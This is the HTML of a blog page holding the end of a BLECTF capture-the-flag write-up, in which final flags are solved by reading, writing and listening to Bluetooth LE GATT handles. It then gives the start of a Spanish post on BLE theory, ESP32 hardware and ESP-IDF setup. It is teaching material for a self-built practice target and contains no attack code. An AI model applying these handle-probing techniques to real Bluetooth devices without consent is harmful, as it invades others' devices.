<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijfBQEqWvvqynfnjNNXiJ-o08YSagwJlcrShHdFx4vYiEgKscr13vp0GbH4Lq8prjGA9HCFTHlnvnCLeqoCIMSpeGXJHz9p0kiHNfTUow85VpXoQ4U8Q3Lvdr2sgOka1zPsHLV-Hdsk_4/s1600/Flag17_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="73" data-original-width="963" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijfBQEqWvvqynfnjNNXiJ-o08YSagwJlcrShHdFx4vYiEgKscr13vp0GbH4Lq8prjGA9HCFTHlnvnCLeqoCIMSpeGXJHz9p0kiHNfTUow85VpXoQ4U8Q3Lvdr2sgOka1zPsHLV-Hdsk_4/s1600/Flag17_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
We send the flag and we have it. We only have three challenges left!!!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCspgNQByhcHewksbOy9r4Lexqmxtzhp5pOvOHXw3v70HIiONsaAJOkcbzmJCPfXnGbh5f8Qg68yykbrhqPGOKa9V9MqDY-K-4KjAhhNyLjKvVil80Tz-C88FwGcPR3nNHHrUQyqk-LI4/s1600/Flag17_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="73" data-original-width="478" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCspgNQByhcHewksbOy9r4Lexqmxtzhp5pOvOHXw3v70HIiONsaAJOkcbzmJCPfXnGbh5f8Qg68yykbrhqPGOKa9V9MqDY-K-4KjAhhNyLjKvVil80Tz-C88FwGcPR3nNHHrUQyqk-LI4/s1600/Flag17_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0052</h4>
</div>
<div>
<div style="text-align: justify;">
Leyendo este handle obtenemos un misterioso mensaje en el que afirma que no hay notificaciones en él, pero con un "really" que suena sospechoso...</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjsCt3Bga4O-bkQmEePwu4UM4IVadGIXvJAGOaVRIYWWvh62w7VofhtSuORnFfNdKRkeKexM4We4R1NbM3RJ9xNoAYxOIxIPkgZrjzpGQI-BSa7ll5hYknLZ8BQeig6wEstzR74ePnxU/s1600/Flag18_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjsCt3Bga4O-bkQmEePwu4UM4IVadGIXvJAGOaVRIYWWvh62w7VofhtSuORnFfNdKRkeKexM4We4R1NbM3RJ9xNoAYxOIxIPkgZrjzpGQI-BSa7ll5hYknLZ8BQeig6wEstzR74ePnxU/s1600/Flag18_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Si hacemos caso omiso y repetimos el procedimiento de flags anteriores en el que vamos a permanecer a la escucha de notificaciones y... tenemos suerte! Recibimos una notificación!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSMcHaaiAgTu1Krx22EPe6nceLQYk_H_qJ9zHW4vKgzUOrG_n9wfkBD3WVrYxPkSFpFuLOceRh4eGHU8hzeCenmeYXc8QRIOiOs3WNkxwlmiGoJEOzNWC5wYCcOgwew8D40j8532xZ5uM/s1600/Flag18_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="876" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSMcHaaiAgTu1Krx22EPe6nceLQYk_H_qJ9zHW4vKgzUOrG_n9wfkBD3WVrYxPkSFpFuLOceRh4eGHU8hzeCenmeYXc8QRIOiOs3WNkxwlmiGoJEOzNWC5wYCcOgwew8D40j8532xZ5uM/s1600/Flag18_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Metemos la flag con ese valor recibido y hay suerte! una más!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTCVVsM4NVc4RCtJAbLS80mv1tmgxa6ZjFOk5lh_UT-XGbtLnfGE-yfn_ZiGzPnq6g8B7sA_zM82LaTQq9CfuSCiBEOsQt3OtwdlHehnW4bucD1E4zsnA-pU2pwMjeipfWb11ife__7uo/s1600/Flag18_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="112" data-original-width="1061" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTCVVsM4NVc4RCtJAbLS80mv1tmgxa6ZjFOk5lh_UT-XGbtLnfGE-yfn_ZiGzPnq6g8B7sA_zM82LaTQq9CfuSCiBEOsQt3OtwdlHehnW4bucD1E4zsnA-pU2pwMjeipfWb11ife__7uo/s1600/Flag18_02.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0054</h4>
</div>
<div>
<div style="text-align: justify;">
This handle tells us that there "are so many properties"!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qUjTBL-jiu9EIDgBabxmcQP4wl1644l7896jYhhKMM2JBtd1Y1gM0dXsjDfRF4ztu0ZrpKZGDWvdW_jWEclMWTlJTBoZ-QoDm3AeqSn16W3OCm5HFMho5LSSWgiJI0wHikvqyclbJYs/s1600/Flag19_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7qUjTBL-jiu9EIDgBabxmcQP4wl1644l7896jYhhKMM2JBtd1Y1gM0dXsjDfRF4ztu0ZrpKZGDWvdW_jWEclMWTlJTBoZ-QoDm3AeqSn16W3OCm5HFMho5LSSWgiJI0wHikvqyclbJYs/s1600/Flag19_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Basically, what it comes to indicate is that the complete flag is separated into two parts and we have to reconstruct it using two techniques that we have already seen in previous challenges: first we will write it with a high value, we will read it and we will have half a flag. For the second half, we launch a request and we capture the second half of the flag in notification mode.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjWm0wEP0mQQ5cz9pXTHLtjskUCuFYSxvYhv2SSZ5lL9v5f6XF95xlynIN8a8RgRNo4Ps6-TG99BKEnkhjgGIn928SCp3KolCZ414BUilSloIIlbBVcEXgs_1CpBrbXFJgm412BvBxRvM/s1600/Flag19_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="877" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjWm0wEP0mQQ5cz9pXTHLtjskUCuFYSxvYhv2SSZ5lL9v5f6XF95xlynIN8a8RgRNo4Ps6-TG99BKEnkhjgGIn928SCp3KolCZ414BUilSloIIlbBVcEXgs_1CpBrbXFJgm412BvBxRvM/s1600/Flag19_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0056</h4>
</div>
<div>
<div style="text-align: justify;">
The last challenge is not difficult, but it is a good end to the CTF: reading the handle we see that it asks for the MD5 of the creator's Twitter.<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioiXcUkOSeFTuian1fuD7l_fksqKlULQjDeDBDlyypg8qh3rKDz99JFP65ESGw_FFcW6wwt8jMviY5AZxjHUK_521uh0VHSdGvHVlaPk9u9U8NBvozx-yCWvaYHSgDxknd3dgcyLBuBXA/s1600/Flag20_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioiXcUkOSeFTuian1fuD7l_fksqKlULQjDeDBDlyypg8qh3rKDz99JFP65ESGw_FFcW6wwt8jMviY5AZxjHUK_521uh0VHSdGvHVlaPk9u9U8NBvozx-yCWvaYHSgDxknd3dgcyLBuBXA/s1600/Flag20_00.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
The necessary thing to do is to repeat the same process that in one of the first challenges that if you remember we were asked for the MD5 of the name of the device, but this time with the Twitter of the creator that is <a href="https://twitter.com/hackgnar" target="_blank">@hackgnar</a> so let's do it.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMCj_2hnOa1dG7dbg7BAGg9HD-FSD7EVU644Rlkg8qxnPujLuABEQOONTorfFgyNIzVpoC0MbjJJwxKxHxMxtfH5m1eJ_47pJV3U7DkWOMNEpkFCgptCPwencEnM5ftzQ_bGFknUq3EH8/s1600/Flag20_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="41" data-original-width="374" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMCj_2hnOa1dG7dbg7BAGg9HD-FSD7EVU644Rlkg8qxnPujLuABEQOONTorfFgyNIzVpoC0MbjJJwxKxHxMxtfH5m1eJ_47pJV3U7DkWOMNEpkFCgptCPwencEnM5ftzQ_bGFknUq3EH8/s1600/Flag20_01.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
And now all we have to do is try luck and put the flag in, check the score and see if we have finally finished the CTF!!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdjn5DVTrYi7uZNq11cgIjozV6_zqU0FcfApjcIZZxZgV4ScUQhPSlyauO5druh_vj3fv6iPtBsmKem3NRvrUuao1o1dVcEJlrKL0hwLezm29w1zPSRVDWVXUSaWYPu2IMiX0z_4CpeVE/s1600/Flag20_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="96" data-original-width="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdjn5DVTrYi7uZNq11cgIjozV6_zqU0FcfApjcIZZxZgV4ScUQhPSlyauO5druh_vj3fv6iPtBsmKem3NRvrUuao1o1dVcEJlrKL0hwLezm29w1zPSRVDWVXUSaWYPu2IMiX0z_4CpeVE/s1600/Flag20_02.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
<br />
And that's all for now! We have finished the CTF! Congratulations if you have followed it and reached the goal, but above all for the merit that you have read up untill this paragraph!<br />
I'm sorry that in the end there was such a long post and I'm sorry for having put all that theory at the beginning, but if there was something that has helped me personally this project beyond "playing the CTF" has been to force me to document about Bluetooth and BLE and, although of course I still have a world to learn about it, I considered necessary and interesting to present some of the foundations with which later we were going to interact more or less along the challenges.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
I hope you enjoyed it and that it was useful to you, if you decide to do the project and experiment with it and you have any doubt/question in which I can help you, don't hesitate to contact me!<br />
<br />
<br />
<br />
Regards!!!</div>
</div>
</div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-19453848683291929492019-12-17T15:38:00.000+01:002019-12-17T15:50:33.963+01:00BLECTF, Capture The Flag en formato hardware basado en Bluetooth Low Energy BLE + Write-Up<div style="text-align: justify;">
Hoy retomo la temática wireless para hablaros de <b>BLE_CTF</b>, un proyecto que nos ofrece la personalización de un módulo ESP32 para convertirlo en una plataforma "Capture the Flag" autónoma enfocada al uso de Bluetooth, lo cual nos permitirá empezar a familiarizarnos con los fundamentos básicos de las interacciones entre cliente y servidor Bluetooth LE.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<img height="179" src="https://blogs.masterhacks.net/wp-content/uploads/2019/08/masterhacks_bluetooth_vulnerabilidad_conexiones_encriptadas.jpg" width="320" /></div>
<br />
<a name='more'></a><h3>
BLECTF</h3>
<div>
<div style="text-align: justify;">
BLECTF es una creación de <a href="https://github.com/hackgnar" target="_blank">Ryan Holeman</a> <a href="https://twitter.com/hackgnar" target="_blank">@hackgnar</a> y es una plataforma de 20 retos basados en Bluetooth Low Energy y en sus propias palabras "<i>El propósito de BLE CTF es enseñar los conceptos básicos de las interacciones entre cliente y servidor de bajo consumo de energía Bluetooth. Su finalidad es la de enseñar y reforzar los conceptos básicos que son necesarios para sumergirse en el mundo del hacking Bluetooth</i>". No suena nada mal, ¿no?.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
El concepto de este CTF surge entorno a un proyecto DIY, donde deberemos contar con un hardware básico y barato, en el que "flashearemos" la plataforma después de compilarla y que en ultima instancia nos ofrecerá de manera totalmente autónoma 20 retos Bluetooth que deberemos resolver.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Vamos a empezar con ello!!</div>
</div>
<div>
<br /></div>
<div>
<br />
<br /></div>
<h3>
Comenzando por el comienzo! Fundamentos teóricos de BLE</h3>
<div>
<div style="text-align: justify;">
Bluetooth Low Energy surge en la versión Bluetooth 4.0 y es un protocolo de comunicación inalámbrico que, entre otras cosas, permite una comunicación interactiva entre varios dispositivos con un consumo mínimo de recursos sirviéndose para ello de la de frecuencia 2.4GHz (al igual que las WiFi).</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
El protocolo utiliza un total de 40 canales de radiofrecuencia (con un ancho de banda de 2MHz cada uno) de los cuales 3 de ellos se utilizan para "anunciarse" (advertising) y los otros 37 son para el trasporte e intercambio de datos.</div>
</div>
<div>
<div style="text-align: justify;">
Las peticiones de conexión entre los dispositivos y el comienzo de las mismas siempre se realiza mediante estos tres canales de Advertisement(Canales 37, 38 y 39).</div>
</div>
<div>
<br /></div>
<div style="text-align: center;">
<img alt="Bluetooth Low Energy Channels and 2.4GHz Band with Wi-Fi Channels" height="315" src="https://www.argenox.com/static/assets/ble-advertising-channels-spectrum.png" width="640" /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Como el uso compartido del espectro de 2.4GHz es usando por dispositivos WiFi, Bluetooth y BLE, el protocolo establece un medio de funcionamiento para evitar las posibles colisiones en esa confluencia. Para ello el protocolo determina que el uso de los 37 canales de datos por parte de los dispositivos una vez que las conexiones se han establecido, se realiza mediante saltos entre los diferentes canales disponibles para datos, cuya ruta es conocida por los dispositivos interconectado en ese momento dado.</div>
</div>
<div>
<div style="text-align: justify;">
Del mismo modos, el protocolo define dos conceptos clave en este modo de utilización como con el <b style="font-style: italic;">Hop Interval</b> (que determina los milisegundos que van a transcurrir antes del salto a otro canal) y el <i style="font-weight: bold;">Hop Increment</i> (que determina el número de canales que "saltaremos"y por tanto determina el canal de destino en el salto). La conjunción de estos dos elementos da lugar a otro nuevo "jugador" en esta partida que es el mapa de canales o <i><b>Channel Map.</b></i></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div style="text-align: center;">
<img height="364" src="https://microchip.wdfiles.com/local--files/wireless:ble-link-layer-channels/frequency-hopping.png" width="640" /></div>
<h4>
GAP y GATT</h4>
<div>
<div style="text-align: justify;">
La pila del protocolo Bluetooth se divide en dos categorías: el controlador y el host. Cada categoría tiene a su vez subcategorías que desempeñan funciones específicas. Las dos subcategorías que vamos a examinar son el Generic Access Profile (<b><i>GAP</i></b>) y el Generic Attribute Profile (<b><i>GATT</i></b>).</div>
</div>
<div>
<div style="text-align: justify;">
En rasgos generales GAP define la topología general de la pila BLE mientras que GATT describe cómo se transfieren los atributos (datos) una vez la conexión es establecida.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div>
<div style="text-align: justify;">
El GATT se centra específicamente en cómo se formatean, empaquetan y envían los datos de acuerdo con las reglas descritas. En la pila de redes BLE, el Protocolo de Atributos (ATT) está estrechamente alineado con el GATT, donde el GATT se encuentra directamente encima del ATT. </div>
</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt60-dW5ahu2WWpvcEY_oCLYxAplXP-39atTMTuY_Xb6VgXKNixhEVf-c8DvnRjfg6AD3Hm4wtL2go5TXDp03ONPs_4QXBs_62SpAxJ7ZP8aTRUQm9cDD2-E7dz7ZKFzssT4_jJybEpYI/s1600/05-12-2019+14-53-30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="416" data-original-width="223" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt60-dW5ahu2WWpvcEY_oCLYxAplXP-39atTMTuY_Xb6VgXKNixhEVf-c8DvnRjfg6AD3Hm4wtL2go5TXDp03ONPs_4QXBs_62SpAxJ7ZP8aTRUQm9cDD2-E7dz7ZKFzssT4_jJybEpYI/s320/05-12-2019+14-53-30.png" width="171" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
<div>
<div style="text-align: justify;">
El <b>GAP </b>define varios roles para los dispositivos, pero por ahora lo único que debemos tener claro es que vamos a tener dispositivos <b><i>centrales </i></b>y los <b><i>periféricos</i></b>.</div>
</div>
</div>
<div>
<div>
<div style="text-align: justify;">
Los dispositivos <b>periféricos</b> son dispositivos pequeños, "sencillos", de bajos recursos y consumos (glucómetro, un medidor de pulsaciones, estaciones de temperatura y humedad, etc…) y que pueden conectarse a dispositivos centrales mucho más potentes.</div>
</div>
<div>
<div style="text-align: justify;">
Los <b>dispositivos centrales</b> se corresponde normalmente con dispositivos mas potentes y con mas recursos de memoria y procesamiento como teléfonos móviles, tablets, ordenadores, etc...</div>
</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
El <b>GATT </b>entra en juego cuando ya hemos establecido una conexión entre dos dispositivos (y por tanto, después de pasar previamente por el GAP) y lo más significativo del GATT es que las conexiones son exclusivas y esto es, en esencia, que cuando un dispositivo periférico se conecte a un dispositivo central de los expuestos en el párrafo anterior, este dejará de anunciarse y otros dispositivos ya no podrán verlo o conectarse a él hasta que se finalice la conexión existente.</div>
</div>
<div>
<div>
<div style="text-align: justify;">
Por todo ello, establecer una conexión también es la única forma de permitir la comunicación bidireccional en la que el dispositivo central puede enviar datos al periférico y viceversa.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
GATT define dos roles en cada conexión: <b>cliente y servidor</b>. Existen algunos servicios y características de forma estándar predefinida que son representadas en formato de 16 bits, pero la ventaja del BLE es que permite a cada fabricante definir sus propios servicios utilizando un UUID de 128 bits para adaptar esta tecnología a aplicaciones propias.</div>
<br />
<br /></div>
</div>
<div>
<h4>
Atributos en GATT</h4>
</div>
<div>
<div>
<div style="text-align: justify;">
Los servidores GATT almacenan datos de información de diferentes tipos organizándolos en forma de atributos. Un atributo es un fragmento de datos etiquetados y accesibles. Su estructura es la siguiente:</div>
</div>
</div>
<div style="text-align: center;">
<div style="text-align: center;">
<img height="107" src="https://microchip.wdfiles.com/local--files/wireless:ble-gatt-attributes/attribute-structure.png" width="640" /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
<br />
<ul>
<li style="text-align: justify;">El <b><u>atributo Handle</u></b> es un identificador único de 16-bits que nunca cambia y que le da al atributo la cualidad de accesible.</li>
<li style="text-align: justify;">El <b><u>atributo Type</u></b><u style="font-weight: bold;"> (UUID)</u> determina que tipo de datos son almacenados en el atributo <i>"Value"</i> y utiliza un identificador único universal de 2 o 16 bytes. </li>
<li style="text-align: justify;">El <b><u>atributo Value</u> </b>contiene el valor propiamente dicho de los datos a los que puede acceder un dispositivo cliente.</li>
<li style="text-align: justify;">El <b><u>atributo Permissions</u></b> son metadatos que determinan las operaciones de acceso ATT permitidas para el atributo <i>Value </i>(lectura, escritura o ninguna) y los <i>requisitos de seguridad</i> (cifrado (y el tipo requerido del mismo) y requerir autorización).</li>
</ul>
</div>
<div style="text-align: left;">
<br />
<div>
<div style="text-align: justify;">
GATT establece jerarquía basada en objetos anidados de alto nivel denominados: Perfiles, Servicios y Características, que se agrupan de la siguiente manera:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZXisF4IdTZRI0c6IJ_KLlLf1jolalc_LD1oNXownB4NPbtp31w8GYMndEkTaoWkpe6rAzZrbwDQKXdhaefEXRMI7pmby710g6Fq6Fd6l_MinWWytxDkEr871uKGpdMowiDblWBe79Skw/s1600/GATT-data-hierarchy-Immediately-before-the-connection-the-GATT-server-exposes-its.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="556" data-original-width="765" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZXisF4IdTZRI0c6IJ_KLlLf1jolalc_LD1oNXownB4NPbtp31w8GYMndEkTaoWkpe6rAzZrbwDQKXdhaefEXRMI7pmby710g6Fq6Fd6l_MinWWytxDkEr871uKGpdMowiDblWBe79Skw/s400/GATT-data-hierarchy-Immediately-before-the-connection-the-GATT-server-exposes-its.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
</div>
</div>
</div>
<div>
<div style="text-align: justify;">
¿Y a que ha venido toda esta chapa infumable de teoría aburrida y que tiene que ver con el CTF? Pues porque, como veremos más adelante, los 20 retos de los que se componen las flag del CTF están identificados cada una por un <b>handle</b>, y será el <i>value </i>lo que deberemos leer, y en ocasiones modificar y remitir con las hints recibidas para obtener las flags. No sufráis, os prometo que a partir de ahora la cosa es menos pesada y entramos en el <i>cacharreo </i>que es lo que nos gusta a todos!.</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>
<h3>
El hardware</h3>
<div>
<div style="text-align: justify;">
BLECTF corre sobre chipset ESP32, un SoC (System on Chip) diseñado por la compañía china Espressif y fabricado originariamente por TSMC que integra en un único chip un procesador Tensilica Xtensa de doble núcleo de 32bits a 160Mhz (con posibilidad de hasta 240Mhz), conectividad WiFi y Bluetooth.</div>
</div>
<div>
<div style="text-align: justify;">
De alguna manera entre la comunidad maker siempre se ha considerado como el "hermano mayor" o la evolución del clásico ESP8266 y de hecho añade muchas funciones y mejoras respecto a el ESP8266 como son mayor potencia, Bluetooth 4.0, cifrado por hardware, sensor de temperatura, sensor hall, sensor táctil, reloj de tiempo real (RTC) y más puertos.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1KYX3eb7or7UDPrpYAoUXuECYpVe7yqOy_JmO2GDGkCqFzdm5IzsuMtUTugPQthkCHiASxNprE4uuPvXuGuV7kgvT1MqlSLQtwsv7BIMGFbh2uQsxPDtdoRTBuh3zwa-FIZNorhXaGmg/s1600/ESP001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="923" data-original-width="1600" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1KYX3eb7or7UDPrpYAoUXuECYpVe7yqOy_JmO2GDGkCqFzdm5IzsuMtUTugPQthkCHiASxNprE4uuPvXuGuV7kgvT1MqlSLQtwsv7BIMGFbh2uQsxPDtdoRTBuh3zwa-FIZNorhXaGmg/s320/ESP001.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Podéis encontrarlo por un precio entorno a los 10€ en Amazon si sois de los más impacientes o entorno a los 4€ si no tenéis prisa por recibirlo y decidís pedirlo proveedores orientales.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Además del hardware para instalar y correr el CTF también deberemos de tener en cuenta el que vamos a utilizar desde nuestro ordenador para llevar a cabo los retos. Si bien algunos adaptadores bluetooth integrados en portátiles pueden ser suficientes para los retos, dependiendo del chipset que estos utilicen es posible que tengamos problemas en conectarnos al CTF o en determinados retos.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
A mi personalmente me gusta contar en mi "arsenal Wireless" con un dispositivo totalmente dedicado para todos mis <i>cacharreos </i>con el mundo del Bluetooth y después de documentarme durante una temporada acerté de pleno haciéndome con un incombustible Parani UD-100 de SENA.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHnZh5Sth4ym3fKePvzjfBY02ErS9A2Q4e3jN9OapHRjMU0_C57kc3wraMqgOIJll91NRZB4AOuD_shYVwnHYuDocX6MMzjziP4GetQE-NLVhoBKL0wVgh_N5l8hMlI_0J_WkC3GfywOM/s1600/UD100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="818" data-original-width="1600" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHnZh5Sth4ym3fKePvzjfBY02ErS9A2Q4e3jN9OapHRjMU0_C57kc3wraMqgOIJll91NRZB4AOuD_shYVwnHYuDocX6MMzjziP4GetQE-NLVhoBKL0wVgh_N5l8hMlI_0J_WkC3GfywOM/s320/UD100.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h3>
Flasheando el software</h3>
<div>
<div style="text-align: justify;">
En primer lugar vamos a comenzar por instalar en nuestro equipo los pre-requisitos necesarios:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>#apt-get install git wget flex bison gperf python python-pip python-setuptools python-serial python-click python-cryptography python-future python-pyparsing python-pyelftools cmake ninja-build ccache</b></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Después debemos de descargarnos las librerías de software proporcionadas por Espressif en el repositorio ESP-IDF:</div>
<div style="text-align: justify;">
<br /></div>
</div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>#cd ~/esp </b></span></div>
<div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>#git clone --recursive https://github.com/espressif/esp-idf.git</b></span></div>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div>
<div style="text-align: justify;">
Además del ESP-IDF, también es necesario instalar las herramientas utilizadas por él como es el compilador, el depurador, los paquetes Python, etc. Y para ello podemos usar el script <span style="font-family: "courier new" , "courier" , monospace;"><b>install.sh</b></span> incluido en el paquete que acabamos de descargar dentro de la carpeta<span style="font-family: "courier new" , "courier" , monospace;"><b> esp-idf</b></span></div>
</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha58iHTm5M1SwcAlORUQm4sc4dLHFmnHOUWv6v7V85t4GrQDzHdJlHgGicAxkwTJ4-4nw0VpjY7XiCJz398mFIlg_za8-IFdkfAyiPxKDGuA2pXRTvd5ACHyaiPf5UdzV0n068jZxDwJc/s1600/install00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="144" data-original-width="890" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha58iHTm5M1SwcAlORUQm4sc4dLHFmnHOUWv6v7V85t4GrQDzHdJlHgGicAxkwTJ4-4nw0VpjY7XiCJz398mFIlg_za8-IFdkfAyiPxKDGuA2pXRTvd5ACHyaiPf5UdzV0n068jZxDwJc/s1600/install00.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Debemos acompañarlo de un cambio en las rutas del entorno para que no tengamos problemas a la hora de compilar el proyecto:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
